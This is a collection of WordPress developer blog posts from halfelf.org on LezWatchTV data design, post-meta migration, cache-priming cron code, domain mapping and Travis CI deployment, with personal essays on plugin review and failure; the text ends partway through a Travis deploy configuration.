Her idea was that, based on the traffic on our sites, people wanted to know a little more about the actors. The way I’d built out the site, you *could* get a list of all of an actor’s characters, but you couldn’t *really* get at everything. Tracy explained to me what people were searching for (actors who were queer, or not) and I mulled over the possibilities, sketching out three solutions.
## 1. Facet and Smart PHP
We originally added in actors as a plain-text field, saved as an array, for all names associated with a character. In using this, with FacetWP, it was trivial to look for [all characters played by Ali Liebert](https://lezwatchtv.com/characters/?fwp_char_actors=Ali%20Liebert). We also already had in a repeatable field, so we could put the ‘most prominent’ actor on top (see “Sara Lance”).
However what was not trivial was the idea of identifying if an actor was queer. You see some characters have multiple actors, and while today all are either queer or not, one day they may not be. I pointed this out to Tracy using the Sara Lance conundrum and Tracy cried ‘Whhhyyyyyyyy?’ and lay down on the floor.
## 2. Taxonomies
Characters already have a bunch of custom taxonomies, and I considered extending that to a new taxonomy for actors. That would immediately provide organizations, and adding new actors is easy on the fly. With auto-complete, we could get away from the drama of my inability to spell names (or autocorrect’s inability to believe me that in this case, I is *before* C).
But… Taxonomies lack extendability. Even with a mess of custom meta added in for featured images, we wouldn’t have an ‘easy’ way to track all trans actors. And we wouldn’t have enough of a future.
## 3. Custom Post Types
This is what we actually decided to use. [A custom page for each actor](https://lezwatchtv.com/actor/ali-liebert/). We added in two new taxonomies for actor gender identity and sexual orientation, which are then used to determine if the actor is queer or not. It gives us the most control and extendability of the choices, and the nice permalink.
There are two significant downsides to this. First, you have to add in a page for the actor *before* you add in the character page. Second, I had to ‘reproduce’ a loop to list all the characters played by an actor. However I was reusing the same logic as I do for shows which made it easier than it might have been.
## What It Means
Understanding and predicting an unknown future is hard. It’s near impossible. You have to guess what you want things to be, and as I have said many times with the building out of LezWatchTV, you must be alright with being wrong.
**Categories:** How It Is
**Tags:** code, data, design
---
### [Migrating from Post Meta to Custom Post Types](https://halfelf.org/2018/migrating-post-meta-custom-post-types/)
**Published:** January 2, 2018
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** One way to migrate post meta to it's own post type.
**Content:**
There are, as it happens, a lot of ways to do this. This is a way that I tested and it works, but it’s not the final way I did things. That said, this does work and, if you’re not on a shared server, is just fine.
## The Concept
I have (roughly) 2200 posts in a custom post type (`post_type_characters`). Each of those posts has a post meta field for actors (`lezchars_actor`). The content of the post meta is an array of text fields, that looks something like this:
I wanted to take the post meta and split it into a post for each actor, however I wanted to remove any comments in parenthesis. I also wanted to change the content of `lezchars_actor` to be the IDs of the new actors pages.
Did I mention I had 2200 posts? And some actors were there multiple times? And I didn’t want to make a lot of duplicate posts.
## The Code
If you want to do this with PHP, it’ll look something like this:
## Notes
The reason this really works is this:
That actually checks if the page with the slug already exists and if so, uses it to edit the post meta.
If you don’t have robust hosting, or you have a lot of posts, you’ll need to edit the `$char_queery` like this:
Run it once, bump the offset from 0 to 300, and repeat until you get through all your posts.
**Categories:** How To
**Tags:** custom post types, migration, post meta, wordpress
---
### [Random Post of the Day](https://halfelf.org/2017/random-post-day/)
**Published:** December 21, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Tweeting random content on the regular part 1: JSON, WP_Query, and Transients. Or not.
**Content:**
I wanted to make a random post of the day. In this case, I wanted it to be a random post of one of two custom post types, and I wanted to output it as JSON for a variety of reasons, including future plans. Like tweeting that post.
I’ll get to that later.
## Overview
To do this, I have the following moving parts:
1. The RESTful routes
2. The random post
3. The expiration (i.e. each post lasts a day)
I’m going to skip over how to make a REST API route. I talked about that earlier in 2017 when I explained [how I made the Bury Your Queers plugin](https://halfelf.org/2017/json-rest-api-peace/).
What’s important here is actually the random post and spitting out the right content.
## Getting a Random Post
This is cool. WordPress can do this out of the box:
And at that point all you need to do is have the API return the array, and your final output is like this:
This is a simplified version of my code, since in actuality I’m juggling a couple post types (shows or characters), and outputting more data (like if the character is dead or alive). It’s sufficient to prove this point.
## Expirations
Okay. Now here’s the fun part. If you go to your JSON page now, it’ll show you a new character on every page reload, which is absolutely *not* what we want. We want this to only update once a day, so we can do this via Transients like this:
But.
[Transients kinda suck](https://journal.rmccue.io/296/youre-using-transients-wrong/).
## Expirations 2.0
Alright. Let’s do this differently. The server this is on has object caching, and it gets flushed every now and then. While it doesn’t matter if the post is re-randomizes in this case, it’s still not a great practice. So let’s use options!
And now you see my `$type` variable and why it matters. There’s more magic involved in the real world, but it’s not relevant.
**Categories:** How To
**Tags:** query, time, wordpress
---
### [Zap a Daily Tweet](https://halfelf.org/2017/zap-daily-tweet/)
**Published:** December 26, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Tweeting random content on the regular part 2: The Automation
**Content:**
Last week I told you how I made a random post of a day. Well, now I want to Tweet that post once a day.
Now there are a lot (a lot) of possibilities to handle something like that in WordPress, and a lot of plugins that purport to Tweet old posts. The problem with all of them was that they used WordPress.
## There's nothing wrong with WordPress
Obviously. But at the same time, asking WP to do 'things' that aren't it's business, like Tweeting random posts, is not a great idea. WordPress is the right tool for some jobs, but not all jobs, after all.
What *is* WordPress' job is generating a random post and setting a tracker (transient) to store for a day. And it's also WordPress' job to output that data how I want in a JSON format.
The rest, we turn to a service. [Zapier](https://zapier.com).
## A Service?
Like many WordPressers, I like to roll my own whenever humanly possible. In this case, I could have added an OAuth library and scripted a cron job, but that puts a maintenance burden on me and could slow my site down. Since I have the JSON call, all I need is 'something' to do the following:
1. Every day, at a specific time, do things
2. Visit a specific URL and parse the JSON data
3. Craft a Tweet based on the data in 2
I dithered and kvetched for days (Monday and Tuesday) before complaining to Otto on Tuesday night. He pointed out he'd written those scripts. On Wednesday, he and I bandied about ideas, and he said I should use [IFTTT](https://ifttt.com). Even using IFTTT's Maker code, though, the real tool needed is one that lets me code logically.
## Zapier
The concept of IFTTT is just "If This, Then That." If one thing is true, then do another. It's very simple logic. Too simple. Because what I needed was "If this, then do that, and tell another that." There wasn't an easy way I could find to do it with IFTTT so I went to the more complicated.
Three steps. Looks like my little three item'd list, doesn't it?
The first step is obvious. Set a specific time to run the zap. It's a schedule. The second step is just a web hook saying 'Get the data from URL.' And the third step is aware!
Pretty nice. If you click on the 'add field' box in the message content (upper right), it knows how to grab the variables from the previous steps and insert them. Which is damn cool.
**Categories:** How To
**Tags:** automation, cron, twitter, wordpress
---
### [Data Based Sites](https://halfelf.org/2017/data-based-sites/)
**Published:** December 19, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Or: How Sara Lance Made Me Cry
**Content:**
Designing your website involves understanding the structure of the data within. Designing your data comes down to how you store it. At its base level, everything on your site is a post, but the way you handle the data WITHIN the posts is how you can plan for growth, adaption, adoption, and the future. Building a site today involves making sure the data is easily consumable by multiple formats, like AMP, JSON APIs, and Alexa Echo Skills. And it all starts with understanding the data you’re using. Even if that data is from TV.
## Television is chewing gum for the eyes
I love television. I love books, I’m always reading and writing, and I love radio. I like movies. But TV is something weird and wonderful. TV is escapism when a story brings you someplace new and amazing.
One of the reason I love tv is that I see myself reflected in media. I’m a Jewish lesbian. Growing up, I didn’t see a lot of me on TV. Any, really. If I think about it, the first Jewish Lesbian I can remember seeing is Willow Rosenberg from Buffy. Yeah. I was out of college by then.
## Representation Matters
In the entirety of television, world wide, there are about 2000 queer females. Total. Yeah. 2000. That’s on about 600 shows. There are not a lot of them, and I know the numbers because I run, with Phillys very own Tracy, a site that uses WordPress to record all of them. That’s right, I have the data.
## Data Driven Design
This isn’t about themes. I can’t design themes. I don’t. I’m bad at it, I know that, sorry Tracy. And when we set about making this site, we had some lofty goals and ideas and we learned some lessons by prejudging the data. Originally we wanted to simply list shows and if you should watch them or not, and list the characters but…
Somewhere around 100 characters and fifty shows, it became clear that the datasets we’d defined were underestimated and over-complicated *and* over-simplified. We had to consider what made a show good or bad. We had to consider the situation. And we had to make changes.
When you build out any site, you have an idea of what you want. Maybe like us you make a massive list of everything you want to track and get dragged down into the weeds fast. Maybe you make a small list and have to go back and edit. In the end, the trick of it all is planning your site based on your data.
Even after you do all that planning, you’re going to find out you missed things. You’ll overestimate things. You’re going to underestimate others. People are going to use your data in unpredictable ways. This is just how the world works. So you have to design your code to adapt.
## How to Design for Data
This is about *planning* code. Designing your site for data comes down to how you store it. At its base level, everything on our site is a post. There are two types, shows and characters, and all posts have a bevy of ‘meta’ data for the various bits of information.
What information?
> Shows: tropes, airdates, thumb score, why that score, tv stations, nations, genres, formats, gold star, trigger warnings, quality rating, screentime rating, realness rating, timeline, episodes, & ‘ships.
>
> Characters: clichés, actor, sexuality, gender, date of death, tv show & role on show.
So all that is what we record. It’s grown and shrunk. We had urls in there and removed them because it was impossible to upkeep when fansites vanish. I removed and restored ‘ships, after figuring out how to store all of it in a searchable way. But with all that data, we started to see the big picture. And then … we realized how the data was stored mattered.
## Understand What Your Data Is (And Isn’t)
Most of the data is simple. Ratings are a 1-5 option. Trigger warnings were check boxes for a binary on or off … Were. Sexuality and gender are dropdown lists, and so are tropes and cliches. Managing those is easy. Ish. We understand taxonomies, at least, being WordPess developers.
Most of the time, data is obvious. Again, I have items that are a binary. A yes or a no. And while I personally believe that sexuality and gender are a spectrum, TV hasn’t caught up there, so that can be stored as a one to one dropdown. You are what you are. The same goes for a character being on a TV show. It’s all one or the other.
Having said all that, let me introduce you to Sara Lance, as played by Caity Lotz. Schrödinger’s bisexual time traveling action hero.
## The Complex Data: Sara Lance
Schrödinger’s bisexual time traveling action hero assassin pirate captain.
Sara Lance has two actors. She’s been on three shows in three separate capacities; guest, recurring, and regular. She’s died and came back to life. Sara Lance exists to make me, as a developer, cry. Because for her I have to store all of that data in a searchable manner that plain-text post meta doesn’t make easy. She made me rethink *all* our data storage.
Nothing about Sara is simple. Nothing is straightforward. Not even the existing taxonomies and lists stayed the same. Both gender and Sexuality went from a simple dropdown to a taxonomy. We moved from gay, straight, or bi, to include pansexual and asexual and I’m just waiting for Sara to step into pansexuality, y’all.
## Use WordPress First
As much as possible, use WordPress. Taxonomies are heavily used for ‘lists’ like cliches and tropes and tv stations, because they come with built in sortables. I can easily list all shows on NBC or all characters who are parents, because those are taxonomies. Even short lists like sexuality and gender work well for that. For the rest, it’s all post meta.
Sara exists beyond taxonomies. Originally, we had death stored as a simple taxonomy item for character cliches. If you were dead, you got the cliche of dead. Sara came along and died. And came back. So suddenly we had to rethink if someone kept the tags if they died and came back. Pro tip? They don’t. That was a quick decision, though. Don’t worry, she made us make harder decisions.
## Use Plugins Second
I mentioned everything that isn’t a taxonomy is post meta. Adding metadata to posts that aren’t taxonomies sucks. Yes, I said it. It sucks. Plugins like CMB2 or ACF will save your vegan bacon by making it easier to create a check box or a dropdown or a plain text field, like for actors.
Sara had two actors. While the field for actor is only plain text, and that’s relatively simple, we had to make it repeatable so we could add multiple actors. God help me, date of death had to be repeatable too. What if Sara dies again!? CMB2 has repeatable fields built in.
## Use Third Party Add-Ons Third
The bigger the data got, the more important admin design became. The more tropes, the worse a dropdown or multi-check section was. By using a select2 addon, and some custom save code, I was able to convert taxonomies into an auto-complete, which is a lot easier to visualize. So are groups. By clumping related data together, the brain makes the right connextions. And when it’s repeatable, your page grows with the data is uses, not with the data total.
Sara has three TV shows. *THREE!*
Sara’s page is much bigger than anyone else’s because she has three shows, and each show section has a dropdown for character role and another for the show name. And I can’t guess if she’s going to show up on another, like *Supergirl* maybe. CMB2 does have a limit to repeatable fields and groups, though. I hope Sara doesn’t hit it…
## Be Willing to Make Changes Fourth
You will be wrong. I removed the list of ships, relationships, from shows. Tracy was sad. I added it back. My bad, totally, and my reasoning was that it was not easy to maintain and manage in a searchable way. It wasn’t. But it *could* be. And I made it. Be willing to be wrong, to make mistakes, and to recover from them.
Because … Sara is always changing. Alive, dead, new show, new actor… Sara is always changing and always adapting and always being more awesome. She’s anything but static, and that’s a good thing. Sara Lance made me throw my preconceived notions of data storage and organization out the window. And I’m better for it.
**Categories:** How It Is
**Tags:** data, design, sara lance
---
### [Hey You Gays Filter](https://halfelf.org/2017/hey-gays-filter/)
**Published:** December 14, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Degenderizing guys since 2017
**Content:**
Are you tired of people always saying ‘guys’ when they’re talking to a mixed gender group of people? I know I am. One weekend I got four (yes four) comments about my code saying “You guys should…” or “Ask the guys who …” and so on.
All implied I wasn’t the human who wrote the code. Spoiler alert. I was. While I can’t fix the world out there, I do tend to reply with a handy gif:

But I can fix *MY* site. Since I only need this for comments on my site (I’m in charge of how I write), I can use this:
If you need to use it in titles and post content, steal the code from [capital\_P\_dangit()](https://developer.wordpress.org/reference/functions/capital_p_dangit/). After all, that’s what we do.
**Categories:** How It Is
**Tags:** filter, wordpress
---
### [Mapping Domains Without a Plugin](https://halfelf.org/2014/mapping-domains-without-plugin/)
**Published:** May 12, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** How I broke my ecommerce store on the day of a big book release, and subsequently fixed it.
**Content:**
Recently I wrote [WordPress Murder Mystery](https://store.halfelf.org/ebooks/murder-at-wordcamp/). The day I released it, I got on a plane to fly to Miami, and proceeded to have a pretty awful travel day, thanks to a storm that pretty much knocked travel to the SouthEast out of commission. While I waited for my flight to DFW, I got pinged. “Hey, I can’t add anything from your store to my cart!”
I pulled up my laptop and thought about what I’d changed. Oh. I’d turned off domain mapping. But not really.

You see, I love the [WordPress Domain Mapping](https://wordpress.org/plugins/wordpress-mu-domain-mapping/) plugin. But I’m not using it here. No, I’m actually doing something I expressly and patently tell people not to do … because time has changed with 3.9 and it’s almost okay to do things this way. The change here is that WordPress is smarter now, and it’s safer, and you actually can just edit the home and site URLs in the Network Dashboard. But you know how I said ‘almost’ back there? Your ability to shoot yourself in the foot is directly proportional to how smart you *think* you are.
What I did? It’s basic but assumes you already know how to add a domain onto another.
1. Go to Network Admin -> Sites
2. Edit the site in question
3. Change the URL to the mapped domain, check the ‘change home and site URL’ box, and click update
That was it! Three steps and everything still worked! This also let me force change a site to https all the way, and since I didn’t have content, I didn’t bother with a search/replace. If I *had*, I’d use that [Interconnectit Script](https://github.com/interconnectit/Search-Replace-DB) or [WP-CLI](http://wp-cli.org/) for it. Still, like a wise person, I always get the domain ‘right’ before I add content.
And at this point, everything seemed to work just fine! And so I left it as is and published my book. And as you know, it all failed, spectacularly. I rolled everything back (because I knew what I’d changed last, see? always remember that!) and it worked again, so I knew I had to have missed something big here. Since I was stuck in an airport with choppy wifi, I disconnected everything and fired up my localhost version of my site. Banging on that for a while, I saw I missed a small, but hugely important factor in the plugin.
See most of what it does is that pretty interface to say “Pull domain.foo content from site #2 (aka foo.example.com)” and force redirects. It also lets you do cool things like “Allow users to log in from foo.example.com instead of domain.foo” but really I didn’t need any of that. The meat of the code is in the sunrise.php file, which when I studied, I realized was just doing the redirects “Send Site #2 to domain.foo” and for me, by renaming the home and siteURLs, I was already doing that.
So what had I missed?
`define( 'COOKIE_DOMAIN', $_SERVER[ 'HTTP_HOST' ] );`
That was it. I forgot to tell it “Cookies belong to the domain you’re *on*.” What this means is that if you log in at example.com, the cookie you get is for example.com and not domain.foo! For the most part, this isn’t a problem since no one logs in but me … until you try to make a purchase and it validates a cookie which doesn’t match the domain. I added that to my wp-config.php (down at the end of my Multisite section, where the SUNRISE define had been earlier) and everything magically worked.
Two lessons! First, test everything. Second, you can map domains without a plugin, safely.
I will note that, over time, it’s possible those settings for home and site URL may vanish from display. They’re powerful and dangerous settings, and you should not mess with them without a good backup.
**Categories:** How It Is
**Tags:** domain, multisite, plugins, wordpress
---
### [Subdomain vs Domain](https://halfelf.org/2012/subdomain-vs-domain/)
**Published:** December 18, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
When two words are very similar, it’s easy to get confused. Which witch is which? Whether, weather, and wether. Affect vs effect… Okay, you know, English sucks. We have way too many words that will drive you to drink, and if you know anyone who’s learned English as a second language, please take time to tell them how amazing they are. My father’s wife is Japanese, bilingual in French, and is learning English. I know a smattering of French. Our conversations are fantastically amusing and thankfully we have great senses of humor.
Because I’m that familiar with the crazy of my native language, I have no surprise that people get subdomains and domains confused. Here’s the basic statement:
**A subdomain is not the same as a domain.**
That’s it. But since I don’t expect everyone to know what the heck I just said, I’m going to explain. Remember, don’t think you’re stupid for not knowing this! You can’t magically know everything, you have to learn it, and there are people like me who want to help you. Where the confusion kicks in isn’t that we call it a ‘subdomain’ but that the official definition is “a subdomain is a domain that is part of a larger domain.” So we’ve just said a domain of a domain, and yet here I am pushing you and saying that a subdomain isn’t a domain when it clearly is.
It is and it isn’t.
- A domain is pretty simple: **elftest.net** is a domain. It’s the solid basis that all websites are built on.
- A subdomain is a subset of the domain: **tools.elftest.net** is a subdomain on elftest.net.
Notice how ‘tools.’ is in front of elftest.net? That extra period between tools and elftest is how we know this is a *sub* domain. The .net part is called the ‘Top Level Domain’ and any time you see www, that actually *isn’t* a subdomain, but a special term… You know what, let’s break this down with a picture.
[](https://halfelf.org/wp-content/uploads/sites/2/2012/12/domainex1.png)
You can ignore protocol for now (we can get into that another time). What we’re looking at is this:
**URL:** http://www.example.com/index.html
**Top-level domain name:** com
**Second-level domain name:** example.com
**Host name:** www.example.com OR example.com
Why is www special? It has to do with a lot of boring history, but suffice to say that used to be how we knew it was a webpage! Now we use http:// to say ‘This will be a webpage’ so many of us (myself included) [feel that www is unnecessary](https://halfelf.org/2012/dont-use-www/) and just makes URLs longer. However because of history, `http://www.elftest.net` and `http://elftest.net` will forever point you to the same place. This actually means that www *is* a subdomain, but it’s a very special one that points to the same place as no www at all. In very rare cases, a fancy website will redirect www and non-www to different places, but this is the exception, not the rule. Good SEO practices are to have the www and non-www point to the exact same place.
The meat of the matter is that most of the time, when someone asks ‘What’s your domain?’ they really mean ‘What’s your host name?’ My host name is elftest.net (or ipstenu.org or halfelf.org…. I have a lot of domains
Now let’s look at a subdomain.
[](https://halfelf.org/wp-content/uploads/sites/2/2012/12/domainex2.png)
They look shockingly similar, except that instead of www in front, I have sub. So what’s the deal here? Well because I’m using something *other* than www, I’ve designated sub.example.com as a subset of example.com, and thus a subdomain. Yes, it’s backwards. Sub should be below or behind, but remember, we’re calling .com the *top* level domain, so right-to-left this makes more sense.
I know. It’s all clear as mud. Even writing this I sat there and muttered “This stuff is nuts.” I know all this didn’t explain everything as clearly as I could wish, but I’ll break it down into the simplest terms that, while not 100% technically accurate, will tell every decent web tech what you mean:
When someone asks “What’s the subdomain?” you answer ‘sub.example.com’
If someone asks “What’s the domain?’ you say ‘example.com’ (sometimes they’ll ask “What’s the main domain?”)
If you’re on Multisite and someone asks “What’s the mapped domain, and what subdomain does it point to?” you say ‘mappeddomain.com and it points to mapped.example.com’
And never ever use domain mapping plugins for your subdomains. Those are for grownup domains only, not your subdomains.
For extra credit: Third level domains are what you get when you see things like example.co.uk – example isn’t a subdomain here, it’s the main domain. co.uk is the TLD. Why third? Well, we’d already used sub and second, and we needed some way to say that this is part of the primary URL, and not a subset. Also geeks love to confuse people.
**Categories:** How It Works
**Tags:** domain, wordpress
---
### [Reordering Sort Order Redux](https://halfelf.org/2017/reordering-sort-order-redux/)
**Published:** December 5, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A repeat on some cleverly done sorting.
**Content:**
Earlier this year I talked about [removing stopwords from sort queries](https://halfelf.org/2017/stopwords-sort-queries/).
Sadly I ran into a problem where the code wasn’t working.
## The Original Code
Here’s the original code.
This worked, mostly, but it somehow broke pagination. Every page restarted the order. This had to do with complications with the Genesis theme but more importantly it messed up the order on the *back* of WordPress **and** it didn’t play well with FacetWP. So I rewrote it a little to be more specific:
## The New Code
First of all, I got smart about only loading this when it needed to be loaded. Next I told it to only sort on archive pages, because I was also outputting recently added lists in other places. Finally I forced it to understand Facet, and that if I wasn’t sorting by alphabetical, it didn’t matter at all.
**Categories:** How To
**Tags:** coding, query, sorting, wordpress
---
### [Why I Do This](https://halfelf.org/2017/why-i-do-this/)
**Published:** November 30, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why? Because.
**Content:**
Every once in a while someone makes a few veiled statements about how I must be on some kind of power trip, and that’s why I took control of the Plugin Review team as the rep. It’s not true.
## Why I am a Forum Moderator
I was helping people and one of the mods asked if I’d join. I said yes. I’m currently still on the team, but I no longer am super active. I’m kind of on the cusp of the requirements for being a moderator, and if they removed me, I’d be okay with that.
## Why I was the Forum Representative
We were just deciding who should be the very first reps for teams, and I was asked (along with someone else) if I’d be willing to try to help us figure out how we wanted to do this. I stepped down from that responsibility after a few years to lower my personal stress.
## Why I am a Plugin Reviewer
I had been reporting a bunch of plugins doing bad things, as well as helping the gents figure out some crazy stuff. They abducted me and asked me to help. I did and bit by bit learned how to properly handle reviews. I keep doing reviews because I enjoy it.
## Why I am the Plugin Review Representative
No one else wanted to do it and we needed someone to take responsibility and make some changes. Like with the guidelines. The directory etc. I still do it because it’s a needed job.
## But … WHY!?
None of that answers the real question of why I do this at all though. If it’s not apparent, I literally fell into this job by accident and stuck around. I stick around because I enjoy what work I do and I learn from it. Learning about how people write code, the assumptions they make, teach me more about accidental security than all the time I worked at the Bank.
But also I believe that any social organization that advocates that the means of production, distribution, and exchange should be owned or regulated by the community as a whole. And to that end, I feel that the only right way to make plugin code reviews, or the forums, work is to get the community self-regulating.
The problem with that theory is that not everyone is altruistic. If people within the community have a desire contrary to the rest of the community, it causes conflict and drama. Therefore, a true ‘socialist’ society requires people willing to be the ‘baddie’ and say things like “No, you can’t do that.” Basically, we need a parent who’s able to explain to the children why putting their hands on the stove is bad, and why throwing rocks at their friend was mean.
I certainly don’t think I’m the only person who *can* do this. I just seem to be one of the few *willing* to do it in a consistent and continuous fashion. And that’s the reason I stick around. I’m trying to build a future where anyone can do technical code reviews for submitted plugins. Anyone. However that comes with a lot of responsibility for the community.
While there are many people capable of doing a technical review, and many people competent at explaining bad code to developers, and many people wise enough to handle angry developers, that Venn Diagram has a *very* small crossover. And if you factor in people *willing* do to it, it gets smaller.
For example. Everyone complains about the WordPress Plugin Guidelines being too strict and too vague. Last year I undertook the monumental effort of rewriting them for clarity and fairness. I asked people at multiple WordCamps to help. We sat and discussed what the guidelines meant and why they were worded in the way they were. Then I posted on the Make blog asking people to help.
Of the few hundred people who complained, less than 20 had anything to say.
From that, and other times I’ve reached out to the community and asked for help, and the results I’ve had, I feel that people aren’t willing to embrace all the aspects of the job. Yet. That’s why I’m slowly, carefully, working my way through the changes. I’m trying to lower the bar for them, to make them more amenable to join.
It takes time.
## Yes, but that isn’t WHY!
Oh right. Why do I do this?
I review plugins because I legit enjoy seeing the crazy code people come up with. I help in the forums for the same reason. I like seeing what people do, and solving problems. I like writing the code to solve the problems too.
I’m the plugin rep because it’s a dirty job, but someone has to do it, and I’m okay with being hated by people. I know I’m doing it to make code better and safer for users, to encourage developers to engage in ethical and kind business practices, and because I learn from them too.
At the end of the day, I do this, all of this, because I can, because I enjoy it, and because I feel good when I help people.
One day that may change. When it does, I’m sure I’ll walk away. That’s just not today.
**Categories:** How It Is
**Tags:** essay, oped, wordpress
---
### [Accepting Failure](https://halfelf.org/2017/accepting-failure/)
**Published:** November 28, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Learning from failure.
**Content:**
This is a difficult thing to do, so let me share some briefs of recent failures.
## Failure To Launch
I recently retired a plugin. It’s a good plugin, complex and clever and does things in a wickedly smart way. And its an absolute failure because it lacked the ability to solve one problem, perhaps the biggest problem it was intended to solve.
The plugin was more complex in ways that it didn’t need to be. I spent a lot of time thinking about one use case, and I never looked far enough to think about the real world, which ended with this plugin only being used by 600 or so people, and most of them grumblingly.
Accepting my loss, I recognized that I’d coded myself into a hole, wrote uninstall code, and apologized. A lot.
## Failure to Maintain
I closed my ebook store recently. Quietly. Because it was so much work to update and maintain, and it was draining me. I kept all my books on Amazon, where they sell much better with much less work, and redirected everything.
The problem was I wasn’t making enough money on it to justify it. While I had intelligently made changes to inspire people to purchase instead of download for free, and I strongly believe in letting them be free when they need to be, it’s just a lot of work. A lot. I was spending time I wasn’t earning on. Nor enjoying.
## Failure to Communicate
There’s someone who hates me right now. They think I’m a terrible person, that I hate them, that I want them to fail. Because I was unable to explain sufficiently why what they were doing was wrong. I’ve tried appealing to them, offering them more exceptions and time than I usually do (ever) for a fix that should be simple.
For some reason, we just can’t bridge the gap. They won’t listen. And no matter what I say, they only see hatred in it. I can’t convince them otherwise. And yes, that smarts. It’s a terrible feeling to not have failed myself, but to have failed someone else, to the point they feel they have no recourse.
## Accepting Failure
Accepting you’ve failed at something is hard. Thankfully in all three cases, I feel like I’ve learned something from them. I learned how to control my temper, how to watch the weight of my words. I’ve learned how to properly write and run an ebusiness, and why I don’t want to. I’ve learned how to gracefully degrade a plugin.
But knowing I failed still does hurt.
So all I can do is learn from it and move on.
**Categories:** How It Is
**Tags:** failure, oped
---
### [Cron Caching](https://halfelf.org/2017/cron-caching/)
**Published:** November 23, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Tricking caching into grabbing a page with cron and wp_remote_get.
**Content:**
WordPress' relationship with cron is touchy. It has it's own version, `wp-cron` which isn't so much cron as a check when people visit your site of things your site needs to do. The problem is that if no one visits your site… nothing runs. That's why you sometimes have posts that miss schedules.
One possible solution is to use what we call ['alternate cron'](https://halfelf.org/2013/wp-cron-it-up/) to trigger your jobs. That works pretty well as it means I can tell a server "Every 10 minutes, ping my front page and trigger events."
But in this case, I didn't want that. I receive enough traffic on this site that I felt comfortable trusting in WP cron, so what I wanted was every hour for a specific page to be visited. This would prompt the server to generate the cached content if needed (if not, it just loads a page).
## WordPress Plugin
I'm a huge proponent of doing things the WordPress way for WordPress. This method comes with a caveat of "Not all caching plugins will work with this."
I'm using Varnish, and for me this will work, so I went with the bare simple code:
```
class LWTV_Cron {
public $urls;
/**
* Constructor
*/
public function __construct() {
// URLs we need to prime the pump on a little more often than normal
$this->urls = array(
'/statistics/',
'/statistics/characters/',
'/statistics/shows/',
'/statistics/death/',
'/statistics/trends/',
'/characters/',
'/shows/',
'/show/the-l-word/',
'/',
);
add_action( 'lwtv_cache_event', array( $this, 'varnish_cache' ) );
if ( !wp_next_scheduled ( 'lwtv_cache_event' ) ) {
wp_schedule_event( time(), 'hourly', 'lwtv_cache_event' );
}
}
public function varnish_cache() {
foreach ( $this->urls as $url ) {
wp_remote_get( home_url( $url ) );
}
}
}
new LWTV_Cron();
```
Yes it's [*that*](https://lezwatchtv.com/) site. This very simple example shows that I have a list of URLs (slugs really) I know need to be pinged every hour to make sure the cache is cached. They're the slowest pages on the site (death can take 30 seconds to load) so making sure the cache is caught is important.
**Categories:** How To
**Tags:** cache, cron
---
### [Github Introduces Archiving](https://halfelf.org/2017/github-introduces-archiving/)
**Published:** November 9, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Yes, you can archive repositories now.
**Content:**
One of my laments has been that I can't (easily) flag a repository in Github as archived.
https://twitter.com/ipstenu/status/926529534580555777 As of today, you can!
Github just announced the ability to [archive repositories](https://github.com/blog/2460-archiving-repositories), and yes, it can be undone.
To archive a repository, go to your Repository Settings Page, scroll down to the **Danger Zone** and click **Archive this repository**. It will pop up with a screen to warn you that this is a serious change, and while it *can* be undone, it will ask you to type in the repository slug to confirm.
Once you've closed the repository, you'll see it has a new banner at the top, announcing "This repository has been archived by the owner. It is now read-only."
The repository will also have a little 'Archived" badge in the regular view.
So. YAY!
**Categories:** How It Is
**Tags:** github
---
### [Deploying from Github via TravisCI](https://halfelf.org/2017/deploying-from-github-via-travisci/)
**Published:** November 21, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Deploying code with Travis is powerful, but incredibly complicated for a hobbyist.
**Content:**
When you develop your code on Git, you can automagically (and easily) deploy to places all you want, [if the repository is on the same server](https://halfelf.org/2013/deploying-with-git/). If it's not, you can use something like [Codeship to automate pushing for you](https://halfelf.org/2017/deploying-github-codeship/).
## Free Services Have Limits
Codeship, which I like a lot, has a limit of 100 pushes a month. In October, when Tracy and I finally deployed the newest version of our website, we actually hit that. In part, this is because we don't have a great 'test' environment where we can internally develop *and* share the results with the other. We both have our own versions of local environments, but you can't show your cohort 3000 miles away what you've done without pushing the code to the private development site and letting her see it.
After 100 pushes, it's $490 a year for unlimited. While the product claims to be 'free forever' for open source, there's actually no documentation that I could find on how one gets added to that list, or what the qualifications are. Does my personal open source project qualify? I'll have to email and find out.
## TravisCI Is 'Free'
All 'free' services have a paid component. Travis, like Codeship, is free for public, open source, projects. And like Codeship, it doesn't require you to host (and thus) update anything yourself. Which is nice. In fact, it only has a few pre-requsits:
- [GitHub](https://github.com/) login
- Project [hosted as a repository](https://help.github.com/categories/importing-your-projects-to-github/) on GitHub
- Working code
- Working build or test script
Sounds like a match made in heaven, except for the part about documentation on GitHub being out of date. I don't begrudge them, as keeping up docs is a pain and if it's with another service it's nigh impossible.
Awesome. Sign up for Travis, activate your repositories, add a `.travis.yml` file with the programing language, and you're ready to do… what?
## Writing The Build Script
This is the weird part. You have to invent a way to push the code. Unlike DeployHQ or Codeship, there's no place to type in the code on their servers. You have to make a file and write the script.
The scripts look like this (cribbed [from Florian Brinkkman](https://florianbrinkmann.com/en/3485/deployment-travis-ci/)):
```
language: php
addons:
ssh_known_hosts:
- $DEVELOPMENT_SERVER
- $PRODUCTION_SERVER
before_script:
- echo -e "Host $DEVELOPMENT_SERVERntStrictHostKeyChecking non" >> ~/.ssh/config
- echo -e "Host $PRODUCTION_SERVERntStrictHostKeyChecking non" >> ~/.ssh/config
script:
-
before_deploy:
- openssl aes-256-cbc -K $ENCRYPTED_KEY -iv $ENCRYPTED_IV -in deploy_rsa.enc -out /tmp/deploy_rsa -d
- eval "$(ssh-agent -s)"
- chmod 600 /tmp/deploy_rsa
- ssh-add /tmp/deploy_rsa
deploy:
- provider: script
skip_cleanup: true
